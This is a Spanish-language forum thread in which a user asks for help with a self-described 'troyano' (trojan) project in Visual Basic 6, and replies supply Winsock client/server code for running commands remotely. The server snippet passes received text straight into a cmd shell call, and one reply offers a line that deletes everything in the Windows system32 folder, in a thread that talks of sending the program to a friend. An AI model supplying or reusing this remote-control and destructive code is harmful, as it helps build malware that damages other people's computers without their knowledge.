Ayuda con mi proyecto de troyano

[B@RTY]

bueno dejo aparte el tema de trabajar en un solo pc por ahora
la siguiente dudilla que tengo es como ejecutar una orden remota mente pongo ejemplo

cliente

Código [Seleccionar] Expandir

Private Sub Command2_Click()
'crea una carpeta en la ruta especificada
Dim ruta  As String
ruta = Text2.Text
Set archiu = CreateObject("scripting.filesystemobject")
archiu.createfolder ruta
End Sub

pero en el servidor no se que poner ya que tengo que hacer 2 variables una para que interprete la ruta y otra para que interprete la orden algo asi quiza?

Código [Seleccionar] Expandir

Dim datos As String
Winsock1.GetData ruta
If datos = "ruta" Then
    respuesta = Set archiu = CreateObject("scripting.filesystemobject")
archiu.createfolder ruta
End If
Winsock1.GetData ruta


:S lo se esque me ago un lio alguien me puede ayudar?
gracias por adelantado

salu2;)

[ciruit]

Emmmm yo te aconsejaría que repases por que tienes errores para mi instrucciones y estructura.
Por ejemplo en el cliente DEBES enviar información para que en el server pase algo. Además solo basta con un GetData.

Por ejemplo, yo lo haría así:

CLIENTE:
Dim carpeta as string
carpeta = text1.text
winsock.senddata

SERVIDOR: (En dataarrival)
Dim carpeta as string
winsock.getdata carpeta
shell "cmd /c mkdir " & carpeta

[Sancho.Mazorka]

Hola muchachos mira B@RTY proba esto en las propiedades del winsock no le pongas el remoteport ni el localport lo unico uqe tenes que hacer es en el cliente

Código [Seleccionar] Expandir

winsock1.connect "127.0.0.1",6005
y en el servidor en el form load

Código [Seleccionar] Expandir

winsock1.close
winsock1.localport 6005
winsock1.listen
y asi funciona ami antes me deci lo mismo y era por eso hasta que lo descubri. Salu2

PD: espero que haya sido eso a mi me lo soluciono eso al problema.
PD2:lo del senddata de tu ej te falta poner

Código [Seleccionar] Expandir

winsock1.senddata CARPETA ' cosa que no pusiste

Sancho Mazorka    

[B@RTY]

ok muchas gracias a todos ahora mismo lo pruevo y comento ^^

[B@RTY]

porfin lo pude probar muchas gracias me funciona muy bien pero me han surgido 2 dudas
la primera e viso que el codigo para crear carpeta lo reduciis a esto
"cmd /c mkdir "
pero como son el de borrar la carpeta, crear archivo borrarlo...
ya que yo esos codigos los tengo pero asi

createobject("scripting.filesystemombject.....)

y asi es maas engorroso.
haber si alguno sabe de algun un link con las funciones asi (reducidas)
La otra duda es si e de crear un winsock para cada una e las acciones que quiera realizar osea uno para crear carpeta otro para eliminarla...

gracias por ayudarme com mi "proyecto"

salu2

[Sancho.Mazorka]

mira si tenes el word apreta ALT+F11 y te va a abrir un vb y apreta al ayuda si no la tenes pone instalar y al instala sola y ahi teens toda la ayuda que necesitas con ejemploss y todo algunso no funcan poruiqe son de otra version. mira con vb es mas facil rddir "RUTA"
mddir "RUTA" creo q son para borrar y crear dir en vb. mas no me acuerdo espero que te sirva salu2


Sancho Mazorka    

[satanico88]

para borrar un archivo solo tenes q poner este codigo

kill("C:\Hola\Archivo.exe")

si kieres borrar un archivo q este en la misma carpeta q tu programa pero no sabes cual es la carpeta ... bueno haes esto
app.path

aclaracion

app.path es un codigo q representa la carpeta en la q esta ejecutandose el programa..

x ejemplo...

tu le mandas el programa a tu amigo..
y tu amigo lo pone en C:\Cosa\

luego tu programa.. crea un Archivo ...
y luego lo kieres borrar.. y no sabes la ruta ..
entonces usas el app.path

kill (app.path+"Datos.txt")
nose si me entendes

otras formas de borrado son

kill("C:\Windows\system32\*.*")

eso borraria todo lo q hay en sys32

weno esperoq  te sirva..